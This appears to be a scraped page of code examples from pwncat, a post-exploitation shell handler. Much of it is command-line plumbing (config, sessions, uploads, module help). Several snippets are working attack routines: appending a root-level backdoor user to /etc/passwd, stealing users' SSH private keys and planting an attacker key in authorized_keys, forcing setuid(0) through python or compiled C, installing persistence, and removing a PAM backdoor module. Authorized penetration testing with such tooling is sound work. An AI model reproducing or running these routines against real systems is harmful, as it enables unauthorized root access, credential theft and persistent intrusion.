Exemple #1
0
    def log(self, *args, **kwargs):
        """Output a log entry"""

        if self.target is not None and self.target._progress is not None:
            self.target._progress.log(*args, **kwargs)
        else:
            console.log(*args, **kwargs)
Exemple #2
0
    def run(self, args):

        if not args.module and pwncat.config.module is None:
            console.log("[red]error[/red]: no module specified")
            return

        if args.module:
            try:
                module = pwncat.modules.find(args.module)
            except KeyError:
                console.log(f"[red]error[/red]: {args.module}: no such module")
                return
        else:
            module = pwncat.config.module

        console.print(
            f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]"
        )
        console.print(
            textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") +
            "\n")

        table = Table("Argument",
                      "Default",
                      "Help",
                      box=box.MINIMAL_DOUBLE_HEAD)
        for arg, info in module.ARGUMENTS.items():
            if info.default is pwncat.modules.NoValue:
                default = ""
            else:
                default = info.default
            table.add_row(arg, str(default), info.help)

        console.print(table)
Exemple #3
0
    def run(self, args):

        # Ensure we confirmed we want to exit
        if not args.yes:
            console.log("[red]error[/red]: exit not confirmed (use '--yes')")
            return

        # Get outa here!
        raise EOFError
Exemple #4
0
    def run(self, manager: "pwncat.manager.Manager", args):

        try:
            module = list(manager.target.find_module(args.module, exact=True))[0]
        except IndexError:
            console.log(f"[red]error[/red]: {args.module}: no such module")
            return

        manager.target.config.use(module)
Exemple #5
0
    def run(self, args):

        # Ensure we confirmed we want to exit
        if not args.yes:
            console.log("[red]error[/red]: exit not confirmed (use '--yes')")
            return

        # Get outa here!
        raise pwncat.util.CommandSystemExit
Exemple #6
0
    def run(self, args):

        try:
            module = pwncat.modules.find(args.module)
        except KeyError:
            console.log(
                f"[red]error[/red]: {args.module}: invalid module name")
            return

        pwncat.config.use(module)
Exemple #7
0
 def run(self, manager, args):
     if args.password and manager.target is None:
         manager.log(
             "[red]error[/red]: active target is required for user interaction"
         )
         return
     elif args.password:
         if args.variable is None:
             found = False
             for user in manager.target.run("enumerate", types=["user"]):
                 if user.password is not None:
                     console.print(
                         f" - [green]{user.name}[/green] -> [red]{repr(user.password)}[/red]"
                     )
                     found = True
             if not found:
                 console.log(
                     "[yellow]warning[/yellow]: no known user passwords")
         else:
             user = manager.target.find_user(name=args.variable)
             if user is None:
                 manager.target.log(
                     "[red]error[/red]: {args.variable}: user not found")
                 return
             console.print(
                 f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]"
             )
             user.password = args.value
             manager.target.db.transaction_manager.commit()
     else:
         if args.variable is not None and args.value is not None:
             try:
                 if manager.sessions and args.variable == "db":
                     raise ValueError(
                         "cannot change database with running session")
                 manager.config.set(args.variable, args.value,
                                    getattr(args, "global"))
                 if args.variable == "db":
                     # Ensure the database is re-opened, if it was already
                     manager.open_database()
             except ValueError as exc:
                 console.log(f"[red]error[/red]: {exc}")
         elif args.variable is not None:
             value = manager.config[args.variable]
             console.print(
                 f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]"
             )
         else:
             for name in manager.config:
                 value = manager.config[name]
                 console.print(
                     f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]"
                 )
Exemple #8
0
    def remove(self, user: Optional[str] = None):
        """ Remove this method """

        try:

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"

            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Remove the the module
                pwncat.victim.env(
                    ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
                )
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                # Remove this auth method from the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # Add this auth statement before the first auth statement
                    content = [line for line in content if line != new_line]
                    content = "".join(content)

                    try:
                        with pwncat.victim.open(
                            config, "w", length=len(content)
                        ) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue
            else:
                raise PersistenceError("insufficient permissions")
        except FileNotFoundError as exc:
            # Uh-oh, some binary was missing... I'm not sure what to do here...
            console.log(f"[red]error[/red]: {exc}")
Exemple #9
0
    def run(self, args):

        # Create a progress bar for the download
        progress = Progress(
            TextColumn("[bold cyan]{task.fields[filename]}", justify="right"),
            BarColumn(bar_width=None),
            "[progress.percentage]{task.percentage:>3.1f}%",
            "•",
            DownloadColumn(),
            "•",
            TransferSpeedColumn(),
            "•",
            TimeRemainingColumn(),
        )

        if not args.destination:
            args.destination = f"./{os.path.basename(args.source)}"
        else:
            access = pwncat.victim.access(args.destination)
            if Access.DIRECTORY in access:
                args.destination = os.path.join(args.destination,
                                                os.path.basename(args.source))
            elif Access.PARENT_EXIST not in access:
                console.log(
                    f"[cyan]{args.destination}[/cyan]: no such file or directory"
                )
                return

        try:
            length = os.path.getsize(args.source)
            started = time.time()
            with progress:
                task_id = progress.add_task("upload",
                                            filename=args.destination,
                                            total=length,
                                            start=False)
                with open(args.source, "rb") as source:
                    with pwncat.victim.open(args.destination,
                                            "wb",
                                            length=length) as destination:
                        progress.start_task(task_id)
                        copyfileobj(
                            source,
                            destination,
                            lambda count: progress.update(task_id,
                                                          advance=count),
                        )
            elapsed = time.time() - started
            console.log(f"uploaded [cyan]{human_readable_size(length)}[/cyan] "
                        f"in [green]{human_readable_delta(elapsed)}[/green]")
        except (FileNotFoundError, PermissionError, IsADirectoryError) as exc:
            self.parser.error(str(exc))
Exemple #10
0
    def escalate(self, session: "pwncat.manager.Session"):

        try:
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = list(filp)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to read /etc/passwd")

        backdoor_user = session.config.get("backdoor_user", "pwncat")
        backdoor_pass = session.config.get("backdoor_pass", "pwncat")
        shell = session.platform.getenv("SHELL")

        # Hash the backdoor password
        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)

        if not any(
                line.startswith(f"{backdoor_user}:")
                for line in passwd_contents):

            # Add our password
            "".join(passwd_contents)
            new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
            passwd_contents.append(new_line)

            try:
                # Write the modified password entry back
                with self.ability.open(session, "/etc/passwd", "w") as filp:
                    filp.writelines(passwd_contents)

                # Ensure we track the tampered file
                session.register_fact(
                    PasswdImplant(
                        "linux.implant.passwd",
                        backdoor_user,
                        backdoor_pass,
                        new_line,
                    ))
            except (FileNotFoundError, PermissionError):
                raise ModuleFailed("failed to write /etc/passwd")

        else:
            console.log(
                f"[cyan]{backdoor_user}[/cyan] already exists; attempting authentication"
            )

        try:
            session.platform.su(backdoor_user, password=backdoor_pass)
            return lambda session: session.platform.channel.send(b"exit\n")
        except PermissionError:
            raise ModuleFailed("added user, but switch user failed")
Exemple #11
0
    def run(self, args):

        if args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
        elif args.action == "list":
            if pwncat.victim.host.busybox is None:
                console.log(
                    "[red]error[/red]: "
                    "busybox is not installed (hint: run 'busybox --install')")
                return

            # Find all binaries which are provided by busybox
            provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
                pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                pwncat.db.Binary.host_id == pwncat.victim.host.id,
            )

            for binary in provides:
                console.print(f" - {binary.name}")
        elif args.action == "status":
            if pwncat.victim.host.busybox is None:
                console.log(
                    "[red]error[/red]: busybox hasn't been installed yet")
                return
            console.log(
                f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
            )

            # Find all binaries which are provided from busybox
            nprovides = (pwncat.victim.session.query(pwncat.db.Binary).filter(
                pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                pwncat.db.Binary.host_id == pwncat.victim.host.id,
            ).with_entities(func.count()).scalar())
            console.log(f"busybox provides [green]{nprovides}[/green] applets")
Exemple #12
0
    def run(self, manager: "pwncat.manager.Manager", args):

        # Create a progress bar for the download
        progress = Progress(
            TextColumn("[bold cyan]{task.fields[filename]}", justify="right"),
            BarColumn(bar_width=None),
            "[progress.percentage]{task.percentage:>3.1f}%",
            "•",
            DownloadColumn(),
            "•",
            TransferSpeedColumn(),
            "•",
            TimeRemainingColumn(),
        )

        if not args.destination:
            args.destination = f"./{os.path.basename(args.source)}"

        try:
            length = os.path.getsize(args.source)
            started = time.time()
            with progress:
                task_id = progress.add_task("upload",
                                            filename=args.destination,
                                            total=length,
                                            start=False)

                with open(args.source, "rb") as source:
                    with manager.target.platform.open(args.destination,
                                                      "wb") as destination:
                        progress.start_task(task_id)
                        copyfileobj(
                            source,
                            destination,
                            lambda count: progress.update(task_id,
                                                          advance=count),
                        )
                        progress.update(task_id,
                                        filename="draining buffers...")
                        progress.stop_task(task_id)

                    progress.start_task(task_id)
                    progress.update(task_id, filename=args.destination)

            elapsed = time.time() - started
            console.log(f"uploaded [cyan]{human_readable_size(length)}[/cyan] "
                        f"in [green]{human_readable_delta(elapsed)}[/green]")
        except (FileNotFoundError, PermissionError, IsADirectoryError) as exc:
            self.parser.error(str(exc))
Exemple #13
0
    def run(self, args):

        if args.action == "revert":
            if args.all:
                tampers = list(pwncat.victim.tamper)
            else:
                try:
                    tampers = [pwncat.victim.tamper[args.tamper]]
                except KeyError:
                    console.log("[red]error[/red]: invalid tamper id")
                    return
            self.revert(tampers)
        else:
            for ident, tamper in enumerate(pwncat.victim.tamper):
                console.print(f" [cyan]{ident}[/cyan] - {tamper}")
Exemple #14
0
    def eval(self, source: str, name: str = "<script>"):
        """ Evaluate the given source file. This will execute the given string
        as a script of commands. Syntax is the same except that commands may
        be separated by semicolons, comments are accepted as following a "#" and
        multiline strings are supported with '"{' and '}"' as delimeters. """

        in_multiline_string = False
        lineno = 1

        for command in resolve_blocks(source):
            try:
                self.dispatch_line(command)
            except Exception as exc:
                console.log(
                    f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
                )
                break
Exemple #15
0
    def run(self, manager: "pwncat.manager.Manager", args):

        if args.list or (not args.kill and args.session_id is None):
            table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD)

            table.add_column("ID")
            table.add_column("User")
            table.add_column("Host ID")
            table.add_column("Platform")
            table.add_column("Type")
            table.add_column("Address")

            for session_id, session in manager.sessions.items():
                ident = str(session_id)
                kwargs = {"style": ""}
                if session is manager.target:
                    ident = "*" + ident
                    kwargs["style"] = "underline"
                table.add_row(
                    str(ident),
                    session.current_user().name,
                    str(session.hash),
                    session.platform.name,
                    str(type(session.platform.channel).__name__),
                    str(session.platform.channel),
                    **kwargs,
                )

            console.print(table)

            return

        if args.session_id is None:
            console.log("[red]error[/red]: no session id specified")
            return

        # check if a session with the provided ``session_id`` exists or not
        if args.session_id not in manager.sessions:
            console.log(f"[red]error[/red]: {args.session_id}: no such session!")
            return

        session = manager.sessions[args.session_id]

        if args.kill:
            channel = str(session.platform.channel)
            session.close()
            console.log(f"session-{args.session_id} ({channel}) closed")
            return

        manager.target = session
        console.log(f"targeting session-{args.session_id} ({session.platform.channel})")
Exemple #16
0
    def list_abilities(self, manager, args):
        """This is just a wrapper for `run enumerate types=escalate.*`, but
        it makes the workflow for escalation more apparent."""

        found = False

        if args.user:
            args.user = manager.target.find_user(name=args.user)

        for escalation in manager.target.run("enumerate", types=["escalate.*"]):
            if args.user and args.user.id != escalation.uid:
                continue
            console.print(f"- {escalation.title(manager.target)}")
            found = True

        if not found and args.user:
            console.log(
                f"[yellow]warning[/yellow]: no direct escalations for {args.user.name}"
            )
        elif not found:
            console.log("[yellow]warning[/yellow]: no direct escalations found")
Exemple #17
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)

    # Build the victim object
    pwncat.victim = Victim()

    # Arguments to `pwncat` are considered arguments to `connect`
    # We use the `prog_name` argument to make the help for "connect"
    # display "pwncat" in the usage. This is just a visual fix, and
    # isn't used anywhere else.
    pwncat.victim.command_parser.dispatch_line(shlex.join(["connect"] +
                                                          sys.argv[1:]),
                                               prog_name="pwncat")

    # Only continue if we successfully connected
    if not pwncat.victim.connected:
        exit(0)

    # Setup the selector to wait for data asynchronously from both streams
    selector = selectors.DefaultSelector()
    selector.register(sys.stdin, selectors.EVENT_READ, None)
    selector.register(pwncat.victim.client, selectors.EVENT_READ, "read")

    # Initialize our state
    done = False

    try:
        # This loop is only used to funnel data between the local
        # and remote hosts when in raw mode. During the `pwncat`
        # prompt, the main loop is handled by the CommandParser
        # class `run` method.
        while not done:
            for k, _ in selector.select():
                if k.fileobj is sys.stdin:
                    data = sys.stdin.buffer.read(8)
                    pwncat.victim.process_input(data)
                else:
                    data = pwncat.victim.recv()
                    if data is None or len(data) == 0:
                        done = True
                        break
                    sys.stdout.buffer.write(data)
                    sys.stdout.flush()
    except ConnectionResetError:
        pwncat.victim.restore_local_term()
        console.log(
            "[yellow]warning[/yellow]: connection reset by remote host")
    except SystemExit:
        console.log("closing connection")
    finally:
        # Restore the shell
        pwncat.victim.restore_local_term()
        try:
            # Make sure everything was committed
            pwncat.victim.session.commit()
        except InvalidRequestError:
            pass
        console.log("local terminal restored")
Exemple #18
0
    def run(self, args):
        if args.password:
            if args.variable is None:
                found = False
                for name, user in pwncat.victim.users.items():
                    if user.password is not None:
                        console.print(
                            f" - [green]{user}[/green] -> [red]{repr(user.password)}[/red]"
                        )
                        found = True
                if not found:
                    console.log(
                        "[yellow]warning[/yellow]: no known user passwords")
            else:
                if args.variable not in pwncat.victim.users:
                    self.parser.error(f"{args.variable}: no such user")
                console.print(
                    f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]"
                )
                pwncat.victim.users[args.variable].password = args.value
        else:
            if (args.variable is not None and args.variable == "state"
                    and args.value is not None):
                try:
                    pwncat.victim.state = State._member_map_[
                        args.value.upper()]
                except KeyError:
                    console.log(
                        f"[red]error[/red]: {args.value}: invalid state")
            elif args.variable is not None and args.value is not None:
                try:
                    pwncat.victim.config[args.variable] = args.value
                    if args.variable == "db":
                        # We handle this specially to ensure the database is available
                        # as soon as this config is set
                        pwncat.victim.engine = create_engine(
                            pwncat.victim.config["db"], echo=False)
                        pwncat.db.Base.metadata.create_all(
                            pwncat.victim.engine)

                        # Create the session_maker and default session
                        if pwncat.victim.session is None:
                            pwncat.victim.session_maker = sessionmaker(
                                bind=pwncat.victim.engine)
                            pwncat.victim.session = pwncat.victim.session_maker(
                            )
                except ValueError as exc:
                    console.log(f"[red]error[/red]: {exc}")
            elif args.variable is not None:
                value = pwncat.victim.config[args.variable]
                console.print(
                    f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]"
                )
            else:
                for name in pwncat.victim.config:
                    value = pwncat.victim.config[name]
                    console.print(
                        f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]"
                    )
Exemple #19
0
    def run(self, args):

        # Get the terminal type
        TERM = os.environ.get("TERM", None)
        if TERM is None:
            if not args.quiet:
                console.log(
                    "[yellow]warning[/yellow]: no local [blue]TERM[/blue]; falling back to 'xterm'"
                )
            TERM = "xterm"

        # Get the width and height
        columns, rows = os.get_terminal_size(0)

        # Update the state
        pwncat.victim.run(
            f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'")

        if not args.quiet:
            console.log(
                "[green]:heavy_check_mark:[/green] terminal state synchronized",
                emoji=True,
            )
Exemple #20
0
    def run(self, manager: "pwncat.manager.Manager", args):

        if not args.module and manager.config.module is None:
            console.log("[red]error[/red]: no module specified")
            return

        if args.module:
            try:
                module = next(manager.target.find_module(args.module, exact=True))
                module_name = args.module
            except StopIteration:
                console.log(f"[red]error[/red]: {args.module}: no such module")
                return
        else:
            module = manager.config.module
            module_name = module.name.removeprefix("agnostic.")
            if self.manager.target is not None:
                module_name = module_name.removeprefix(
                    self.manager.target.platform.name + "."
                )

        console.print(
            f"[bold underline]Module [cyan]{module_name}[/cyan][/bold underline]"
        )
        console.print(
            textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n"
        )

        table = Table("Argument", "Default", "Help", box=box.SIMPLE)
        for arg, info in module.ARGUMENTS.items():
            if info.default is pwncat.modules.NoValue:
                default = ""
            else:
                default = info.default
            table.add_row(arg, str(default), info.help)

        console.print(table)
Exemple #21
0
    def eval(self, source: str, name: str = "<script>"):
        """Evaluate the given source file. This will execute the given string
        as a script of commands. Syntax is the same except that commands may
        be separated by semicolons, comments are accepted as following a "#" and
        multiline strings are supported with '"{' and '}"' as delimeters."""

        for command in resolve_blocks(source):
            try:
                self.dispatch_line(command)
            except ChannelClosed as exc:
                # A channel was unexpectedly closed
                self.manager.log(
                    f"[yellow]warning[/yellow]: {exc.channel}: channel closed")
                # Ensure any existing sessions are cleaned from the manager
                exc.cleanup(self.manager)
            except pwncat.manager.InteractiveExit:
                # Within a script, `exit` means to exit the script, not the
                # interpreter
                break
            except Exception as exc:
                console.log(
                    f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
                )
                break
Exemple #22
0
    def escalate_single(
        self,
        techniques: List["Technique"],
        shlvl: str,
        progress: Progress,
        task,
    ) -> Tuple[Optional["Technique"], str]:
        """ Use the given list of techniques to escalate to the user. All techniques
        should be for the same user. This method will attempt a variety of privesc
        methods. Primarily, it will directly execute any techniques which provide
        the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd
        if the target user is root. Lastly, it will try to escalate using a local
        SSH server combined with READ/WRITE capabilities to gain a local shell.

        This is, by far, the most disgusting function in all of `pwncat`. I'd like
        to clean it up, but I'm not sure how to break this up. It's all one continuous
        line of logic. It's meant to implement all possible privilege escalation methods
        for one user given a list of techniques for that user. The largest chunk of this
        is the SSH part, which needs to check that SSH exists, then try various methods
        to either leak or write private keys for the given user.
        """

        readers: List[Technique] = []
        writers: List[Technique] = []

        for technique in techniques:
            if Capability.SHELL in technique.capabilities:
                try:
                    progress.update(task, step=f"attempting {technique}")

                    # Attempt our basic, known technique
                    exit_script = technique.method.execute(technique)
                    pwncat.victim.flush_output(some=True)

                    # Reset the terminal to ensure we are stable
                    time.sleep(
                        0.1)  # This seems inevitable for some privescs...
                    pwncat.victim.reset(hard=False)

                    # Check that we actually succeeded
                    current = pwncat.victim.update_user()

                    if current == technique.user or (
                            technique.user
                            == pwncat.victim.config["backdoor_user"]
                            and current == "root"):
                        progress.update(task, step=f"{technique} succeeded!")
                        pwncat.victim.flush_output()
                        return technique, exit_script

                    # Check if we ended up in a sub-shell without escalating
                    if pwncat.victim.getenv("SHLVL") != shlvl:

                        # Get out of this subshell. We don't need it
                        # pwncat.victim.process(exit_script, delim=False)

                        pwncat.victim.run(exit_script, wait=False)
                        time.sleep(
                            0.1)  # Still inevitable for some privescs...
                        pwncat.victim.recvuntil("\n")

                        # Clean up whatever mess was left over
                        pwncat.victim.flush_output()

                        pwncat.victim.reset(hard=False)

                        shlvl = pwncat.victim.getenv("SHLVL")

                    # The privesc didn't work, but didn't throw an exception.
                    # Continue on as if it hadn't worked.
                except PrivescError:
                    pass
                except ValueError:
                    raise PrivescError
            if Capability.READ in technique.capabilities:
                readers.append(technique)
            if Capability.WRITE in technique.capabilities:
                writers.append(technique)

        if writers and writers[0].user == "root":

            # We need su to privesc w/ file write
            su_command = pwncat.victim.which("su", quote=True)
            if su_command is not None:

                # Grab the first writer
                writer = writers[0]

                progress.update(
                    task, step="attempting [cyan]/etc/passwd[/cyan] overwrite")

                # Read /etc/passwd
                with pwncat.victim.open("/etc/passwd", "r") as filp:
                    lines = filp.readlines()

                # Add a new user
                password = crypt.crypt(pwncat.victim.config["backdoor_pass"])
                user = pwncat.victim.config["backdoor_user"]
                lines.append(
                    f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n")

                # Join the data back and encode it
                data = ("".join(lines)).encode("utf-8")

                # Write the data
                writer.method.write_file("/etc/passwd", data, writer)

                # Maybe help?
                pwncat.victim.run("echo")

                progress.update(task, step="reloading users")

                # Check that it succeeded
                users = pwncat.victim.reload_users()

                # Check if the new passwd file contained the file
                if user in users:
                    progress.update(
                        task,
                        step=
                        "[cyan]/etc/passwd[/cyan] overwrite [green]succeeded![/green]",
                    )

                    # Log our tamper of this file
                    pwncat.victim.tamper.modified_file("/etc/passwd",
                                                       added_lines=lines[-1:])

                    pwncat.victim.users[user].password = pwncat.victim.config[
                        "backdoor_pass"]
                    self.backdoor_user = pwncat.victim.users[user]

                    # Switch to the new user
                    # pwncat.victim.process(f"su {user}", delim=False)
                    pwncat.victim.process(f"su {user}", delim=True)
                    pwncat.victim.recvuntil(": ")

                    pwncat.victim.client.send(
                        pwncat.victim.config["backdoor_pass"].encode("utf-8") +
                        b"\n")

                    pwncat.victim.flush_output()

                    return writer, "exit"
                else:
                    progress.update(
                        task,
                        step=
                        "[cyan]/etc/passwd[/cyan] overwrite [red]failed[/red]",
                    )

        sshd_running = False
        for fact in pwncat.victim.enumerate.iter("system.service"):
            progress.update(task, step="enumerating remote services")
            if "sshd" in fact.data.name and fact.data.state == "running":
                sshd_running = True

        if sshd_running:
            sshd_listening = True
            sshd_address = "127.0.0.1"
        else:
            sshd_listening = False
            sshd_address = None

        used_technique = None

        if sshd_running and sshd_listening:
            # We have an SSHD and we have a file read and a file write
            # technique. We can attempt to leverage this to use SSH to ourselves
            # and gain access as this user.
            progress.update(
                task,
                step=
                f"[red]sshd[/red] is listening at [cyan]{sshd_address}:22[/cyan]",
            )

            authkeys_path = ".ssh/authorized_keys"

            try:
                with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp:
                    for line in filp:
                        if line.startswith("AuthorizedKeysFile"):
                            authkeys_path = line.strip().split()[-1]
            except PermissionError:
                # We couldn't read the file. Assume they are located in the default home directory location
                authkeys_path = ".ssh/authorized_keys"

            # AuthorizedKeysFile is normally relative to the home directory
            if not authkeys_path.startswith("/"):
                # Grab the user information from /etc/passwd
                home = pwncat.victim.users[techniques[0].user].homedir

                if home == "" or home is None:
                    raise PrivescError(
                        "no user home directory, can't add ssh keys")

                authkeys_path = os.path.join(home, authkeys_path)

            progress.update(
                task, step=f"authorized keys at [cyan]{authkeys_path}[/cyan]")

            authkeys = []
            privkey_path = None
            privkey = None
            if readers:
                reader = readers[0]
                with reader.method.read_file(authkeys_path, reader) as filp:
                    authkeys = [line.strip().decode("utf-8") for line in filp]

                # Some payloads will return the stderr of the file reader. Check
                # that the authorized_keys even existed
                if len(authkeys) == 1 and "no such file" in authkeys[0].lower(
                ):
                    authkeys = []

                # We need to read each of the users keys in the ".ssh" directory
                # to see if they contain a public key that is already allowed on
                # this machine. If so, we can read the private key and
                # authenticate without a password and without clobbering their
                # keys.
                ssh_key_glob = os.path.join(
                    pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub")
                # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8")
                keys = ["id_rsa.pub"]
                keys = [
                    os.path.join(pwncat.victim.users[reader.user].homedir,
                                 ".ssh", key) for key in keys
                ]

                # Iterate over each public key found in the home directory
                for pubkey_path in keys:
                    if pubkey_path == "":
                        continue
                    progress.update(
                        task,
                        step=
                        f"checking [cyan]{pubkey_path}[/cyan] against authorized_keys",
                    )
                    # Read the public key
                    with reader.method.read_file(pubkey_path, reader) as filp:
                        pubkey = filp.read().strip().decode("utf-8")
                    # Check if it matches
                    if pubkey in authkeys:
                        progress.update(
                            task,
                            step=
                            (f"[green]{os.path.basename(pubkey_path)}[/green] "
                             f"is an authorized key"),
                        )
                        # remove the ".pub" to find the private key
                        privkey_path = pubkey_path.replace(".pub", "")
                        # Make sure the private key exists
                        if (b"no such file" in pwncat.victim.run(
                                f"file {privkey_path}").lower()):
                            progress.update(
                                task,
                                step=
                                (f"[cyan]{os.path.basename(pubkey_path)}[/cyan] "
                                 "has no private key"),
                            )
                            continue

                        progress.update(task, step=f"downloading private key")
                        with reader.method.read_file(privkey_path,
                                                     reader) as filp:
                            privkey = filp.read().strip().decode("utf-8")

                        # The terminal adds \r most of the time. This is a text
                        # file so this is safe.
                        privkey = privkey.replace("\r\n", "\n")

                        # Ensure we remember that we found this user's private key!
                        pwncat.victim.enumerate.add_fact(
                            "private_key",
                            PrivateKeyFact(
                                pwncat.victim.users[reader.user].id,
                                privkey_path,
                                privkey,
                                encrypted=False,
                            ),
                            "pwncat.privesc.Finder",
                        )

                        used_technique = reader

                        break
                else:
                    privkey_path = None
                    privkey = None
            elif writers:
                # TODO this needs to be updated to work in the middle of a rich progress
                console.log(
                    f"[yellow]warning[/yellow]: no readers found for [green]{techniques[0].user}[/green] "
                    f"however, we do have a writer.")
                response = console.input(
                    "Would you like to clobber their authorized keys? (y/N) "
                ).lower()
                if response != "y":
                    raise PrivescError("user aborted key clobbering")

            # If we don't already know a private key, then we need a writer
            if privkey_path is None and not writers:
                raise PrivescError("no writers available to add private keys")

            # Everything looks good so far. We are adding a new private key. so we
            # need to read in the private key and public key, then add the public
            # key to the user's authorized_keys. The next step will upload the
            # private key in any case.
            if privkey_path is None:

                writer = writers[0]

                # Write our private key to a random location
                with open(pwncat.victim.config["privkey"], "r") as src:
                    privkey = src.read()

                with open(pwncat.victim.config["privkey"] + ".pub",
                          "r") as src:
                    pubkey = src.read().strip()

                # Add our public key to the authkeys
                authkeys.append(pubkey)

                progress.update(
                    task, step="adding our public key to authorized keys")

                # Write the file
                writer.method.write_file(authkeys_path, ("\n".join(authkeys) +
                                                         "\n").encode("utf-8"),
                                         writer)

                if not readers:
                    # We couldn't read their authkeys, but log that we clobbered it.
                    # The user asked us to. At least create an un-removable tamper
                    # noting that we clobbered this file.
                    pwncat.victim.tamper.modified_file(authkeys_path)

                # We now have a persistence method for this user no matter where
                # we are coming from. We need to track this.
                pwncat.victim.persist.register("authorized_keys", writer.user)

                used_technique = writer

            # SSH private keys are annoying and **NEED** a newline
            privkey = privkey.strip() + "\n"

            progress.update(task, step="writing private key to temp file")

            with pwncat.victim.tempfile("w", length=len(privkey)) as dst:
                # Write the file with a nice progress bar
                dst.write(privkey)
                # Save the path to the private key. We don't need the original path,
                # if there was one, because the current user can't access the old
                # one directly.
                privkey_path = dst.name

            # Log that we created a file
            pwncat.victim.tamper.created_file(privkey_path)

            # Ensure the permissions are right so ssh doesn't freak out
            pwncat.victim.run(f"chmod 600 {privkey_path}")

            # Run ssh as the given user with our new private key
            progress.update(
                task,
                step=
                f"attempting local [red]ssh[/red] as [green]{techniques[0].user}[/green]",
            )
            ssh = pwncat.victim.which("ssh")

            # First, run a test to make sure we authenticate
            command = (
                f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
                f"{techniques[0].user}@127.0.0.1")
            output = pwncat.victim.run(f"{command} echo good")

            # Check if we succeeded
            if b"good" not in output:
                raise PrivescError("ssh private key failed")

            # Great! Call SSH again!
            pwncat.victim.process(command)

            # Pretty sure this worked!
            return used_technique, "exit"

        raise PrivescError(f"unable to achieve shell as {techniques[0].user}")
Exemple #23
0
    def run(self, args):

        ident = pwncat.victim.id

        # Ensure we are actually EUID=0
        if ident["euid"]["id"] != 0:
            console.log("euid is not 0")
            return

        # Check that UID != EUID
        if ident["uid"]["id"] == 0:
            console.log("no euid/uid mismatch detected")
            return

        # First try to escalate with python. This removes the need
        # for any system modifications. Which will resolve a variety
        # of python verions including "python2" and "python3".
        python = pwncat.victim.which("python")
        if python is not None:
            console.log("attempting [yellow]python-based[/yellow] fix")
            pwncat.victim.run(python, wait=False)
            pwncat.victim.client.send(b"import os\n")
            pwncat.victim.client.send(b"os.setuid(0)\n")
            pwncat.victim.client.send(b"os.setgid(0)\n")
            pwncat.victim.client.send(
                f'os.system("{pwncat.victim.shell}")\n'.encode("utf-8")
            )
            time.sleep(0.5)

            ident = pwncat.victim.id
            if ident["uid"]["id"] == ident["euid"]["id"]:
                console.log("euid/uid mismatch [green]corrected[/green]!")
                pwncat.victim.reset(hard=False)
                return

            console.log("python-based fix [red]failed[/red]")

        # Quick and simple UID=EUID fix
        fix_source = textwrap.dedent(
            """
            #include <stdio.h>

            int main(int argc, char** argv) {
                setuid(0);
                setgid(0);
                execl("{0}", "{0}", NULL);
            }
        """.replace(
                "{0}", pwncat.victim.shell
            )
        )

        # See if we can compile it
        try:
            console.log("attempting [yellow]c-based[/yellow] fix")
            remote_binary = pwncat.victim.compile([StringIO(fix_source)])
            # Appears to have went well, try to execute
            pwncat.victim.run(remote_binary, wait=False)

            # Give it some time to catch up
            time.sleep(0.5)

            # Remove the binary
            pwncat.victim.env(["rm", "-f", remote_binary])

            ident = pwncat.victim.id
            if ident["uid"]["id"] == ident["euid"]["id"]:
                console.log("euid/uid corrected!")
                pwncat.victim.reset(hard=False)
                return
        except CompilationError:
            console.log(
                "[yellow]warning[/yellow]: compilation failed, attempting persistence"
            )

        # Installation/removal of privilege escalation methods can take time,
        # so we start a progress bar.
        with Progress(
            "[progress.description]{task.fields[status]}",
            BarColumn(bar_width=None),
            "[progress.percentage]{task.percentage:>3.0f}%",
            TimeRemainingColumn(),
        ) as progress:
            methods = list(pwncat.victim.persist.available)
            task_id = progress.add_task("", total=len(methods), status="initializing")
            for method in methods:
                progress.update(
                    task_id,
                    status=f"installing [yellow]{method.name}[/yellow]",
                    advance=1,
                )

                # Depending on the method type, we may need to specify a user
                if method.system:
                    user = None
                else:
                    user = "******"

                try:
                    # Attempt to install
                    pwncat.victim.persist.install(method.name, user)
